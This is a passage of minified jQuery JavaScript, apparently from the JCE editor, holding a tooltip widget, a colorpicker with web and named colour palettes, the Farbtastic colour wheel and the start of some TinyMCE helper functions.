this._trigger('hide');this._unpin();},_cancelOnDrag:function(){var self=this;$(this.element).bind('mousedown',function(){$(this).addClass('nohover');self._end();$(this).data('title',$(this).attr('title')).attr('title','');}).bind('mouseup',function(){$(this).removeClass('nohover');$(this).attr('title',$(this).data('title'));});},_pin:function(){var self=this;$('#jce-tooltip').addClass('sticky');$('span.ui-icon-close','#jce-tooltip').css('display','block');$(window).on('click.tooltip-blur',function(e){var el=$(self.element).get(0),n=e.target;if(n==el||(el.nodeName=='LABEL'&&$(el).attr('for')&&n==$('#'+$(el).attr('for')).get(0))||n==$('#jce-tooltip').get(0)){return;}
if($(n).parents('#jce-tooltip').length===0){self._end();}});},_unpin:function(){$('#jce-tooltip').removeClass('sticky');$('span.ui-icon-close','#jce-tooltip').hide();$(window).off('click.tooltip-blur');},_position:function(){var $tips=$('#jce-tooltip');var $pointer=$('.jce-tooltip-pointer',$tips);var o=this.options.offsets;var tip={'width':$tips.outerWidth(),'height':$tips.outerHeight()};$($pointer).attr('style','');var position=this.options.position;var at=position.replace(/\s*center\s*/,'');var my=at.replace(/(left|right|top|bottom)/,function(s){switch(s){case'left':return'right-'+o.x;break;case'right':return'left+'+o.x;break;case'top':return'bottom-'+o.y;break;case'bottom':return'top+'+o.y;break;}});var pos={},ww=Math.round($(window).width()),wh=Math.round($(window).height()),pw=10,ph=10,st=$(window).scrollTop();$tips.position({my:my,at:at,of:$(this.element),collision:'flipfit flipfit',using:function(props,fb){if(Math.round(props.top)==0){props.top+=10;}
if(Math.round(props.left)==0){props.left+=10;}
if(Math.round(props.top+tip.height)==wh){props.top-=10;}
if(Math.round(props.left+tip.width)==ww){props.left-=10;}
if(/left|right/.test(position)){$pointer.css('top',Math.round(fb.target.top-fb.element.top)+fb.target.height/2);}
if(/top|bottom/.test(position)&&Math.round(fb.element.left)==0){$pointer.css('left',fb.target.left+Math.round(fb.target.width/2)-pw);}
if(fb.element.left<fb.target.left){position=position.replace('right','left');}else{position=position.replace('left','right');}
if(fb.element.top<fb.target.top){position=position.replace('bottom','top');}else{position=position.replace('top','bottom');}
$tips.css(props);}});$pointer.removeClass('top right bottom left center').addClass(position);},_createPointer:function(position){var $tips=$('#jce-tooltip'),canvas=$('canvas',$tips).get(0),context=canvas.getContext('2d');var w=canvas.width,h=canvas.height;context.clearRect(0,0,canvas.width,canvas.height);context.fillStyle=$tips.css('background-color');context.strokeStyle=$tips.css('border-top-color');context.lineWidth=1.8;context.beginPath();var pos=/(top|bottom|left|right)/.exec(position)||['','top'];switch(pos[1]){case'top':context.moveTo(0,0);context.lineTo(w/2,h);context.lineTo(w,0);break;case'bottom':context.moveTo(0,h);context.lineTo(w/2,0);context.lineTo(w,h);break;case'left':context.moveTo(0,0);context.lineTo(w,h/2);context.lineTo(0,h);break;case'right':context.moveTo(w,0);context.lineTo(0,h/2);context.lineTo(w,h);break;}
context.fill();context.stroke();context.closePath();},_locate:function(e){this._createTips();var $tips=$('#jce-tooltip');var o=this.options.offsets;var page={'x':e.pageX,'y':e.pageY};var tip={'x':$tips.outerWidth(),'y':$tips.outerHeight()};var offset=$(e.target).offset();var pos={'x':page.x+o.x,'y':page.y+o.y};var position=this.options.position;var scrollTop=$(document).scrollTop();if((pos.y-tip.y)<0||offset.top<(scrollTop+tip.y)){$tips.removeClass('jce-'+this.options.className+'-top');position=position.replace('top','bottom');$tips.addClass('jce-'+this.options.className+'-bottom');}else{$tips.removeClass('jce-'+this.options.className+'-bottom');position=position.replace('bottom','top');$tips.addClass('jce-'+this.options.className+'-top');}
switch(position){case'top center':pos.x=(page.x-Math.round((tip.x/2)))+o.x;pos.y=(page.y-tip.y)-o.y;break;case'bottom center':pos.x=(page.x-(tip.x/2))+o.x;pos.y=page.y+o.y;break;}
if(pos.x<0){pos.x=5;}
if(pos.x>parseFloat($(window).width())){pos.x=parseFloat($(window).width())-(tip.x/2+5);}
$tips.css({top:pos.y,left:pos.x});},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.tips,{version:"2.5.16"});})(jQuery);(function($){$.widget("ui.colorpicker",{instance:null,options:{color:'#FFFFFF',detail:50,speed:200,'stylesheets':[],custom_colors:'',forcedHighContrastMode:false,labels:{picker:'Picker',title:'Color Picker',palette:'Web Colors',named:'Named Colors',template:'Template Colors',custom:'Custom Colors',color:'Color',apply:'Apply',name:'Name'},insert:$.noop,close:$.noop,dialog:false,parent:'body'},_strhex:"0123456789abcdef",_colors:["#000000","#000033","#000066","#000099","#0000cc","#0000ff","#330000","#330033","#330066","#330099","#3300cc","#3300ff","#660000","#660033","#660066","#660099","#6600cc","#6600ff","#990000","#990033","#990066","#990099","#9900cc","#9900ff","#cc0000","#cc0033","#cc0066","#cc0099","#cc00cc","#cc00ff","#ff0000","#ff0033","#ff0066","#ff0099","#ff00cc","#ff00ff","#003300","#003333","#003366","#003399","#0033cc","#0033ff","#333300","#333333","#333366","#333399","#3333cc","#3333ff","#663300","#663333","#663366","#663399","#6633cc","#6633ff","#993300","#993333","#993366","#993399","#9933cc","#9933ff","#cc3300","#cc3333","#cc3366","#cc3399","#cc33cc","#cc33ff","#ff3300","#ff3333","#ff3366","#ff3399","#ff33cc","#ff33ff","#006600","#006633","#006666","#006699","#0066cc","#0066ff","#336600","#336633","#336666","#336699","#3366cc","#3366ff","#666600","#666633","#666666","#666699","#6666cc","#6666ff","#996600","#996633","#996666","#996699","#9966cc","#9966ff","#cc6600","#cc6633","#cc6666","#cc6699","#cc66cc","#cc66ff","#ff6600","#ff6633","#ff6666","#ff6699","#ff66cc","#ff66ff","#009900","#009933","#009966","#009999","#0099cc","#0099ff","#339900","#339933","#339966","#339999","#3399cc","#3399ff","#669900","#669933","#669966","#669999","#6699cc","#6699ff","#999900","#999933","#999966","#999999","#9999cc","#9999ff","#cc9900","#cc9933","#cc9966","#cc9999","#cc99cc","#cc99ff","#ff9900","#ff9933","#ff9966","#ff9999","#ff99cc","#ff99ff","#00cc00","#00cc33","#00cc66","#00cc99","#00cccc","#00ccff","#33cc00","#33cc33","#33cc66","#33cc99","#33cccc","#33ccff","#66cc00","#66cc33","#66cc66","#66cc99","#66cccc","#66ccff","#99cc00","#99cc33","#99cc66","#99cc99","#99cccc","#99ccff","#cccc00","#cccc33","#cccc66","#cccc99","#cccccc","#ccccff","#ffcc00","#ffcc33","#ffcc66","#ffcc99","#ffcccc","#ffccff","#00ff00","#00ff33","#00ff66","#00ff99","#00ffcc","#00ffff","#33ff00","#33ff33","#33ff66","#33ff99","#33ffcc","#33ffff","#66ff00","#66ff33","#66ff66","#66ff99","#66ffcc","#66ffff","#99ff00","#99ff33","#99ff66","#99ff99","#99ffcc","#99ffff","#ccff00","#ccff33","#ccff66","#ccff99","#ccffcc","#ccffff","#ffff00","#ffff33","#ffff66","#ffff99","#ffffcc","#ffffff"],_named:{'#F0F8FF':'AliceBlue','#FAEBD7':'AntiqueWhite','#00FFFF':'Aqua','#7FFFD4':'Aquamarine','#F0FFFF':'Azure','#F5F5DC':'Beige','#FFE4C4':'Bisque','#000000':'Black','#FFEBCD':'BlanchedAlmond','#0000FF':'Blue','#8A2BE2':'BlueViolet','#A52A2A':'Brown','#DEB887':'BurlyWood','#5F9EA0':'CadetBlue','#7FFF00':'Chartreuse','#D2691E':'Chocolate','#FF7F50':'Coral','#6495ED':'CornflowerBlue','#FFF8DC':'Cornsilk','#DC143C':'Crimson','#00FFFF':'Cyan','#00008B':'DarkBlue','#008B8B':'DarkCyan','#B8860B':'DarkGoldenRod','#A9A9A9':'DarkGray','#006400':'DarkGreen','#BDB76B':'DarkKhaki','#8B008B':'DarkMagenta','#556B2F':'DarkOliveGreen','#FF8C00':'Darkorange','#9932CC':'DarkOrchid','#8B0000':'DarkRed','#E9967A':'DarkSalmon','#8FBC8F':'DarkSeaGreen','#483D8B':'DarkSlateBlue','#2F4F4F':'DarkSlateGrey','#00CED1':'DarkTurquoise','#9400D3':'DarkViolet','#FF1493':'DeepPink','#00BFFF':'DeepSkyBlue','#696969':'DimGrey','#1E90FF':'DodgerBlue','#B22222':'FireBrick','#FFFAF0':'FloralWhite','#228B22':'ForestGreen','#FF00FF':'Fuchsia','#DCDCDC':'Gainsboro','#F8F8FF':'GhostWhite','#FFD700':'Gold','#DAA520':'GoldenRod','#808080':'Gray','#808080':'Grey','#008000':'Green','#ADFF2F':'GreenYellow','#F0FFF0':'HoneyDew','#FF69B4':'HotPink','#CD5C5C':'IndianRed','#4B0082':'Indigo','#FFFFF0':'Ivory','#F0E68C':'Khaki','#E6E6FA':'Lavender','#FFF0F5':'LavenderBlush','#7CFC00':'LawnGreen','#FFFACD':'LemonChiffon','#ADD8E6':'LightBlue','#F08080':'LightCoral','#E0FFFF':'LightCyan','#FAFAD2':'LightGoldenRodYellow','#D3D3D3':'LightGray','#D3D3D3':'LightGrey','#90EE90':'LightGreen','#FFB6C1':'LightPink','#FFA07A':'LightSalmon','#20B2AA':'LightSeaGreen','#87CEFA':'LightSkyBlue','#778899':'LightSlateGray','#778899':'LightSlateGrey','#B0C4DE':'LightSteelBlue','#FFFFE0':'LightYellow','#00FF00':'Lime','#32CD32':'LimeGreen','#FAF0E6':'Linen','#FF00FF':'Magenta','#800000':'Maroon','#66CDAA':'MediumAquaMarine','#0000CD':'MediumBlue','#BA55D3':'MediumOrchid','#9370D8':'MediumPurple','#3CB371':'MediumSeaGreen','#7B68EE':'MediumSlateBlue','#00FA9A':'MediumSpringGreen','#48D1CC':'MediumTurquoise','#C71585':'MediumVioletRed','#191970':'MidnightBlue','#F5FFFA':'MintCream','#FFE4E1':'MistyRose','#FFE4B5':'Moccasin','#FFDEAD':'NavajoWhite','#000080':'Navy','#FDF5E6':'OldLace','#808000':'Olive','#6B8E23':'OliveDrab','#FFA500':'Orange','#FF4500':'OrangeRed','#DA70D6':'Orchid','#EEE8AA':'PaleGoldenRod','#98FB98':'PaleGreen','#AFEEEE':'PaleTurquoise','#D87093':'PaleVioletRed','#FFEFD5':'PapayaWhip','#FFDAB9':'PeachPuff','#CD853F':'Peru','#FFC0CB':'Pink','#DDA0DD':'Plum','#B0E0E6':'PowderBlue','#800080':'Purple','#FF0000':'Red','#BC8F8F':'RosyBrown','#4169E1':'RoyalBlue','#8B4513':'SaddleBrown','#FA8072':'Salmon','#F4A460':'SandyBrown','#2E8B57':'SeaGreen','#FFF5EE':'SeaShell','#A0522D':'Sienna','#C0C0C0':'Silver','#87CEEB':'SkyBlue','#6A5ACD':'SlateBlue','#708090':'SlateGray','#708090':'SlateGrey','#FFFAFA':'Snow','#00FF7F':'SpringGreen','#4682B4':'SteelBlue','#D2B48C':'Tan','#008080':'Teal','#D8BFD8':'Thistle','#FF6347':'Tomato','#40E0D0':'Turquoise','#EE82EE':'Violet','#F5DEB3':'Wheat','#FFFFFF':'White','#F5F5F5':'WhiteSmoke','#FFFF00':'Yellow','#9ACD32':'YellowGreen'},_translate:function(s,d){var o=this.options;var v=o.labels[s]||d||'';if(typeof tinyMCEPopup!=='undefined'){v=tinyMCEPopup.getLang('colorpicker.'+s,v);}
return v;},_init:function(){var self=this,o=this.options;this._getStylesheetColors();if(this.options.dialog){if($('#tab-content .colorpicker_generated').length){return;}
var color=$(this.element).val()||'#000000';if(/rgb/.test(color)){color=this._rgbToHex(color);}
if($(self.element).hasClass('placeholder')){color='';}
this._createTabs();$('#colorpicker_insert').button({icons:{primary:'ui-icon-check'}}).click(function(e){e.preventDefault();self._insert();});if(self._wheel){self._wheel.setColor(color);}}else{if(this.options.widget){this.widget=$(this.options.widget);}else{this.widget=$('<span class="colorpicker_widget"></span>').insertAfter(this.element);}
$(this.widget).css('background-color',$(this.element).val()||'#000000').tips({trigger:'click',position:'right center',content:'<div id="colorpicker" title="Color Picker">'+self._getContent()+'</div>',className:'wf-colorpicker',opacity:1,parent:this.options.parent,show:function(){var color=$(self.element).val()||'#000000';if(/rgb/.test(color)){color=this._rgbToHex(color);}
if($(self.element).hasClass('placeholder')){color='';}
if($('#tab-content .colorpicker_generated').length){return;}
$('#colorpicker_tabs').html(function(i,h){return h.replace(/\{#(\w+)\}/gi,function(a,b){return self._translate(b);});});$('#colorpicker').append('<div id="colorpicker_preview">'+' <div id="colorpicker_preview_text">'+'  <input type="text" id="colorpicker_color" size="8" maxlength="8" value="'+color+'" class="ui-corner-all" aria-required="true" />'+' </div>'+' <div id="colorpicker_preview_color" class="ui-widget-content ui-corner-all"></div>'+' <div id="colorpicker_insert" class="btn btn-small"><i class="icon-ok"></i>&nbsp;'+o.labels.apply+'</div>'+'</div>');$('#colorpicker_preview_color').css('background-color',color);$('#colorpicker_insert').button({icons:{primary:'ui-icon-check'}}).click(function(e){e.preventDefault();self._insert();});self._createTabs();if(self._wheel){self._wheel.setColor(color);}}});}},_getContent:function(){var self=this,h='',o=this.options;h+='<div id="colorpicker_tabs">';h+='<ul class="nav nav-tabs">';h+='<li class="active"><a href="#colorpicker_picker" aria-controls="colorpicker_picker" class="active">{#picker}</a></li>';h+='<li><a href="#colorpicker_web" aria-controls="colorpicker_web">{#palette}</a></li>';h+='<li><a href="#colorpicker_named" aria-controls="colorpicker_named">{#named}</a></li>';if(o.stylesheets.length){h+='<li><a href="#colorpicker_template" aria-controls="colorpicker_template">{#template}</a></li>';}
h+='</ul>';h+='<div class="tab-content">';h+='<div id="colorpicker_picker" data-type="picker" class="tab-pane active"></div>';h+='<div id="colorpicker_web" data-type="web" class="tab-pane"></div>';h+='<div id="colorpicker_named" data-type="named" class="tab-pane"></div>';if(o.stylesheets.length){h+='<div id="colorpicker_template" data-type="template" class="tab-pane"></div>';}
h+='</div>';h+='</div>';return h;},_createTabs:function(){var self=this;if($.isFunction($.fn.tab)){$('#colorpicker_tabs a').on('show',function(e){var id=$(e.target).attr('href'),type=$(id).data('type');self['_create'+type].call(self,$(id));$('#colorpicker_insert').toggle(type=='picker');}).click(function(e){e.preventDefault();$(this).tab('show');});}else{$('#colorpicker_tabs','#colorpicker').tabs({activate:function(event,ui){var type=$(ui.newPanel).data('type');self['_create'+type].call(self,$(ui.newPanel));$('#colorpicker_insert').toggle(type=='picker');},beforeActivate:function(event,ui){$(ui.oldTab).removeClass('active');$(ui.newTab).addClass('active');}});}
self._createpicker($('#colorpicker_picker','#colorpicker_tabs'));},_blur:function(e){var t=this;if(e){if(e.target==this.picker||e.target==this.picker.colorpicker){return false;}
var matched=false;$(this.picker.colorpicker).find('*').each(function(){if(this==e.target){matched=true;return false;}});if(!matched){t.close();}}},_close:function(){this._trigger('close',null);$(this.widget).tips('close');},_insert:function(){var color=$('#colorpicker_color').val();this._trigger('insert',null,color);if(color){$(this.element).val(color).removeClass('placeholder').change();$(this.widget).css('background-color',color);}
this._close();},_rgbToHex:function(c){var r,g,b,re=new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)","gi");if(!c){return c;}
var rgb=c.replace(re,"$1,$2,$3").split(',');if(rgb.length==3){r=parseInt(rgb[0]).toString(16);g=parseInt(rgb[1]).toString(16);b=parseInt(rgb[2]).toString(16);r=r.length==1?'0'+r:r;g=g.length==1?'0'+g:g;b=b.length==1?'0'+b:b;return"#"+r+g+b;}
return c;},_hexToRGB:function(c){var r,g,b;if(c.indexOf('#')!=-1){c=c.replace(new RegExp('[^0-9A-F]','gi'),'');r=parseInt(c.substring(0,2),16);g=parseInt(c.substring(2,4),16);b=parseInt(c.substring(4,6),16);return{r:r,g:g,b:b};}
return null;},_createpicker:function(parent){var self=this;if($(parent).hasClass('colorpicker_generated')){return;}
self._wheel=$.farbtastic(parent,$('#colorpicker_color').val(),function(color){self._showColor(color);});$(parent).addClass('colorwheel colorpicker_generated');},_createweb:function(parent){var self=this,h='';if($(parent).hasClass('colorpicker_generated')){return;}
h+='<div role="listbox" aria-labelledby="colorpicker_web" tabindex="0">';h+='<ul>';$.each(this._colors,function(i,v){h+='<li style="background-color:'+v+'"><span class="colorpicker_webblock" role="option" aria-labelledby="web_colors_'+i+'" title="'+v+'"></span></li>';if(self.options.forcedHighContrastMode){h+='<canvas class="mceColorSwatch" data-color="'+v+'"></canvas>';}
h+='<span class="mceVoiceLabel" id="web_colors_'+i+'">'+v.toUpperCase()+'</span>';if((i+1)%18==0){}});h+='</ul></div>';$(parent).append(h).append('<br style="clear:both;" />').addClass('colorpicker_generated');$('span.colorpicker_webblock',parent).click(function(){self._insert();}).mouseover(function(){self._showColor($(this).attr('title'));});this._paintCanvas(parent);},_createnamed:function(parent){var self=this,h='',i=0;if($(parent).hasClass('colorpicker_generated')){return;}
h+='<div role="listbox" aria-labelledby="colorpicker_named" tabindex="0">';h+='<ul>';$.each(this._named,function(k,v){h+='<li style="background-color:'+k+'"><span class="colorpicker_namedblock" aria-labelledby="named_colors_'+k+'" title="'+self._translate(k.replace(/[^\w]/g,''),v)+'"></span></li>';if(self.options.forcedHighContrastMode){h+='<canvas class="mceColorSwatch" data-color="'+v+'"></canvas>';}
h+='<span class="mceVoiceLabel" id="named_colors_'+k+'">'+v.toUpperCase()+'</span>';if((i+1)%18==0){}
i++;});h+='</ul></div>';$(parent).append(h).append('<br style="clear:both;" />').addClass('colorpicker_generated').append('<div id="colorpicker_colorname">'+this.options.labels.name+'</div>');$('span.colorpicker_namedblock',parent).click(function(){self._insert();}).mouseover(function(){self._showColor($(this).parent('li').css('background-color'),$(this).attr('title'));});this._paintCanvas(parent);},_createtemplate:function(parent){var self=this,h='';if($(parent).hasClass('colorpicker_generated')){return;}
if(this.template_colors){var templateColors=this.template_colors;if($.type(this.template_colors)=='string'){templateColors=templateColors.split(',');}
h+='<div role="listbox" aria-labelledby="colorpicker_template_label" tabindex="0">';h+='<ul>';$.each(templateColors,function(i,v){if(v.length==4){v=v+v.substr(1);}
h+='<li style="background-color:'+v+'"><span class="colorpicker_templateblock" aria-labelledby="template_colors_'+i+'" title="'+v+'"></span></li>';if(self.options.forcedHighContrastMode){h+='<canvas class="mceColorSwatch" data-color="'+v+'"></canvas>';}
h+='<span class="mceVoiceLabel" id="template_colors_'+i+'">'+v.toUpperCase()+'</span>';if((i+1)%18==0){}});h+='</ul></div>';$(parent).append(h);}
if(this.options.custom_colors){var h='';$(parent).append('<p id="colorpicker_custom_label">'+this.options.labels.custom+'</p>');var customColors=this.options.custom_colors.split(',');h+='<div role="listbox" aria-labelledby="colorpicker_custom_label" tabindex="0">';h+='<ul>';$.each(customColors,function(i,v){if(v.length==4){v=v+v.replace('#','');}
h+='<li style="background-color:'+v+'"><span class="colorpicker_templateblock" aria-labelledby="custom_colors_'+i+'" title="'+v+'"></span></li>';if(self.options.forcedHighContrastMode){h+='<canvas class="mceColorSwatch" data-color="'+v+'"></canvas>';}
h+='<span class="mceVoiceLabel" style="display:none;" id="custom_colors_'+i+'">'+v.toUpperCase()+'</span>';if((i+1)%18==0){h+='</ul><ul>';}});h+='</div>';$(parent).append(h);this._paintCanvas(parent);}
$(parent).addClass('colorpicker_generated');$('span.colorpicker_templateblock',parent).click(function(){self._insert();}).mouseover(function(){self._showColor($(this).attr('title'));});},_showColor:function(color,name){if(name){$("#colorpicker_colorname").html(this.options.labels.name+': '+name);}
if(/rgb/.test(color)){color=this._rgbToHex(color);}
$("#colorpicker_preview_color").css('background-color',color);$("#colorpicker_color").val(color.toLowerCase());},_changeFinalColor:function(color){if(!/#/.test(color)){color=this._rgbToHex(color);}
$('#colorpicker_preview').css('background-color',color);$('#colorpicker_color').val(color);},_paintCanvas:function(el){$('canvas.mceColorSwatch',el).each(function(){$canvas=$(this).get(0);if($canvas.getContext&&(context=$canvas.getContext("2d"))){context.fillStyle=$canvas.getAttribute('data-color');context.fillRect(0,0,10,10);}});},_sort_colors:function(colors){var sorted=[],s=[];$.each(colors,function(x,color){color=color.replace('#','').toLowerCase();if(color.length==6){var condensed='';$.each(color.split(''),function(i,c){if(i%2==0){condensed+=c;}});var color_str=condensed;}
var v=0;$.each(color_str.split(''),function(i,c){v+=parseInt(c,16);});if(color){sorted[v+x]='#'+color;}});$.each(sorted,function(i,c){if(c){s.push(c);}});return s;},_getStylesheetColors:function(){var self=this,o=this.options,colors=[],href,hex,rgb;var hexRe=/#[0-9a-f]{3,6}/gi,rgbRe=new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)","gi");function addColor(s){if($.inArray(s,colors)==-1){colors.push(s);}}
function parseCSS(s){if(s.imports){$.each(s.imports,function(i,r){parseCSS(r);});}
$.each(s.cssRules||s.rules,function(i,r){switch(r.type||1){case 1:var css=r.cssText||r.style.cssText;if(css){hex=css.match(hexRe);rgb=css.match(rgbRe);if(rgb){addColor(self._rgbToHex(rgb[0]));}
if(hex){addColor(hex[0]);}}
break;case 3:if(r.href.indexOf('://')!=-1){return;}
parseCSS(r.styleSheet);break;}});};function processStyleSheets(stylesheets){try{$.each(stylesheets,function(i,s){parseCSS(s);});}catch(ex){}
return colors;}
if($.type(o.stylesheets[0])=='string'){var doc,el,ifr;if(document.getElementById('stylsheets_iframe')){return;}
var h='<!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge">';$.each(o.stylesheets,function(i,s){h+='<link href="'+s+'" rel="stylesheet" type="text/css" />';});h+='</head><body></body></html>';ifr=document.createElement('iframe');$(ifr).attr({'src':'javascript:""','id':'stylsheets_iframe'}).hide().appendTo('body').load(function(e){el=e.target,doc=el.contentWindow.document;if(doc&&doc.styleSheets){self.template_colors=processStyleSheets(doc.styleSheets);}
$(ifr).remove();});doc=ifr.contentWindow.document;if(doc){doc.open();doc.write(h);doc.close();}}else{this.template_colors=processStyleSheets(o.stylesheets);}},destroy:function(){$.Widget.prototype.destroy.apply(this,arguments);}});$.extend($.ui.colorpicker,{version:"2.5.16"});})(jQuery);(function($){$.fn.farbtastic=function(callback){$.farbtastic(this,callback);return this;};$.farbtastic=function(container,color,callback){var container=$(container).get(0);return container.farbtastic||(container.farbtastic=new $._farbtastic(container,color,callback));};$._farbtastic=function(container,color,callback){var fb=this;$(container).html('<div class="farbtastic"><div class="color"></div><div class="wheel"></div><div class="overlay"></div><div class="h-marker marker"></div><div class="sl-marker marker"></div></div>');var e=$('.farbtastic',container);fb.wheel=$('.wheel',container).get(0);fb.radius=84;fb.square=100;fb.width=194;if(navigator.appVersion.match(/MSIE [0-6]\./)){$('*',e).each(function(){if(this.currentStyle.backgroundImage!='none'){var image=this.currentStyle.backgroundImage;image=this.currentStyle.backgroundImage.substring(5,image.length-2);$(this).css({'backgroundImage':'none','filter':"progid:DXImageTransform.Microsoft.AlphaImageLoader(enabled=true, sizingMethod=crop, src='"+image+"')"});}});}
fb.linkTo=function(callback){if(typeof fb.callback=='object'){$(fb.callback).unbind('keyup',fb.updateValue);}
fb.color=null;if(typeof callback=='function'){fb.callback=callback;}
else if(typeof callback=='object'||typeof callback=='string'){fb.callback=$(callback);fb.callback.bind('keyup',fb.updateValue);if(fb.callback.get(0).value){fb.setColor(fb.callback.get(0).value);}}
return this;}
fb.updateValue=function(event){if(this.value&&this.value!=fb.color){fb.setColor(this.value);}}
fb.setColor=function(color){var unpack=fb.unpack(color);if(fb.color!=color&&unpack){fb.color=color;fb.rgb=unpack;fb.hsl=fb.RGBToHSL(fb.rgb);fb.updateDisplay();}
return this;}
fb.setHSL=function(hsl){fb.hsl=hsl;fb.rgb=fb.HSLToRGB(hsl);fb.color=fb.pack(fb.rgb);fb.updateDisplay();return this;}
fb.widgetCoords=function(event){var x,y;var el=event.target||event.srcElement;var reference=fb.wheel;if(typeof event.offsetX!='undefined'){var pos={x:event.offsetX,y:event.offsetY};var e=el;while(e){e.mouseX=pos.x;e.mouseY=pos.y;pos.x+=e.offsetLeft;pos.y+=e.offsetTop;e=e.offsetParent;}
var e=reference;var offset={x:0,y:0}
while(e){if(typeof e.mouseX!='undefined'){x=e.mouseX-offset.x;y=e.mouseY-offset.y;break;}
offset.x+=e.offsetLeft;offset.y+=e.offsetTop;e=e.offsetParent;}
e=el;while(e){e.mouseX=undefined;e.mouseY=undefined;e=e.offsetParent;}}
else{var pos=fb.absolutePosition(reference);x=(event.pageX||0*(event.clientX+$('html').get(0).scrollLeft))-pos.x;y=(event.pageY||0*(event.clientY+$('html').get(0).scrollTop))-pos.y;}
return{x:x-fb.width/2,y:y-fb.width/2};}
fb.mousedown=function(event){var pos=fb.widgetCoords(event);fb.circleDrag=Math.max(Math.abs(pos.x),Math.abs(pos.y))*2>fb.square;fb.mousemove(event);return false;}
fb.touchconvert=function(e){var e=e.originalEvent.touches.item(0);return e;}
fb.touchmove=function(e){fb.mousemove(fb.touchconvert(e));event.preventDefault();return false;}
fb.touchend=function(event){$(document).unbind('touchmove',fb.touchmove);$(document).unbind('touchend',fb.touchend);document.dragging=false;event.preventDefault();return false;}
fb.mousemove=function(event){var pos=fb.widgetCoords(event);if(fb.circleDrag){var hue=Math.atan2(pos.x,-pos.y)/6.28;if(hue<0)
hue+=1;fb.setHSL([hue,fb.hsl[1],fb.hsl[2]]);}
else{var sat=Math.max(0,Math.min(1,-(pos.x/fb.square)+.5));var lum=Math.max(0,Math.min(1,-(pos.y/fb.square)+.5));fb.setHSL([fb.hsl[0],sat,lum]);}
return false;}
fb.mouseup=function(){$(document).unbind('mousemove',fb.mousemove);$(document).unbind('mouseup',fb.mouseup);document.dragging=false;}
fb.updateDisplay=function(){var angle=fb.hsl[0]*6.28;$('.h-marker',e).css({left:Math.round(Math.sin(angle)*fb.radius+fb.width/2)+'px',top:Math.round(-Math.cos(angle)*fb.radius+fb.width/2)+'px'});$('.sl-marker',e).css({left:Math.round(fb.square*(.5-fb.hsl[1])+fb.width/2)+'px',top:Math.round(fb.square*(.5-fb.hsl[2])+fb.width/2)+'px'});$('.color',e).css('backgroundColor',fb.pack(fb.HSLToRGB([fb.hsl[0],1,0.5])));if(typeof fb.callback=='object'){$(fb.callback).css({backgroundColor:fb.color,color:fb.hsl[2]>0.5?'#000':'#fff'});$(fb.callback).each(function(){if(this.value&&this.value!=fb.color){this.value=fb.color;}});}
else if(typeof fb.callback=='function'){fb.callback.call(fb,fb.color);}}
fb.absolutePosition=function(el){var r={x:el.offsetLeft,y:el.offsetTop};if(el.offsetParent){var tmp=fb.absolutePosition(el.offsetParent);r.x+=tmp.x;r.y+=tmp.y;}
return r;};fb.pack=function(rgb){var r=Math.round(rgb[0]*255);var g=Math.round(rgb[1]*255);var b=Math.round(rgb[2]*255);return'#'+(r<16?'0':'')+r.toString(16)+
(g<16?'0':'')+g.toString(16)+
(b<16?'0':'')+b.toString(16);}
fb.unpack=function(color){if(color.length==7){return[parseInt('0x'+color.substring(1,3))/255,parseInt('0x'+color.substring(3,5))/255,parseInt('0x'+color.substring(5,7))/255];}
else if(color.length==4){return[parseInt('0x'+color.substring(1,2))/15,parseInt('0x'+color.substring(2,3))/15,parseInt('0x'+color.substring(3,4))/15];}}
fb.HSLToRGB=function(hsl){var m1,m2,r,g,b;var h=hsl[0],s=hsl[1],l=hsl[2];m2=(l<=0.5)?l*(s+1):l+s-l*s;m1=l*2-m2;return[this.hueToRGB(m1,m2,h+0.33333),this.hueToRGB(m1,m2,h),this.hueToRGB(m1,m2,h-0.33333)];}
fb.hueToRGB=function(m1,m2,h){h=(h<0)?h+1:((h>1)?h-1:h);if(h*6<1)
return m1+(m2-m1)*h*6;if(h*2<1)
return m2;if(h*3<2)
return m1+(m2-m1)*(0.66666-h)*6;return m1;}
fb.RGBToHSL=function(rgb){var min,max,delta,h,s,l;var r=rgb[0],g=rgb[1],b=rgb[2];min=Math.min(r,Math.min(g,b));max=Math.max(r,Math.max(g,b));delta=max-min;l=(min+max)/2;s=0;if(l>0&&l<1){s=delta/(l<0.5?(2*l):(2-2*l));}
h=0;if(delta>0){if(max==r&&max!=g)
h+=(g-b)/delta;if(max==g&&max!=b)
h+=(2+(b-r)/delta);if(max==b&&max!=r)
h+=(4+(r-g)/delta);h/=6;}
return[h,s,l];}
$('*',e).mousedown(function(e){if(!document.dragging){$(document).bind('mousemove',fb.mousemove).bind('mouseup',fb.mouseup);document.dragging=true;}
fb.mousedown(e);});$('*',e).bind("touchstart",function(e){if(!document.dragging){$(document).bind('touchmove',fb.touchmove).bind('touchend',fb.touchend);document.dragging=true;}
fb.mousedown(fb.touchconvert(e));e.preventDefault();return false;});fb.setColor('#000000');if(callback){fb.linkTo(callback);}};})(jQuery);(function($){var standalone=true;if(window.tinyMCEPopup){var TinyMCE_Utils={};TinyMCE_Utils.fillClassList=function(id){var ed=tinyMCEPopup.editor,lst=document.getElementById(id),v,cl;if(ed.getParam('theme_advanced_styles')){cl=ed.getParam('theme_advanced_styles','','hash');}else{cl=ed.dom.getClasses();}
tinymce.each(['jcepopup','jcetooltip'],function(o){lst.options[lst.options.length]=new Option(o,o);});if(cl.length>0){tinymce.each(cl,function(o){lst.options[lst.options.length]=new Option(o.title||o['class'],o['class']);});}};TinyMCE_Utils.updateColor=function(parent){if(typeof parent=='string'){parent=document.getElementById(parent);}
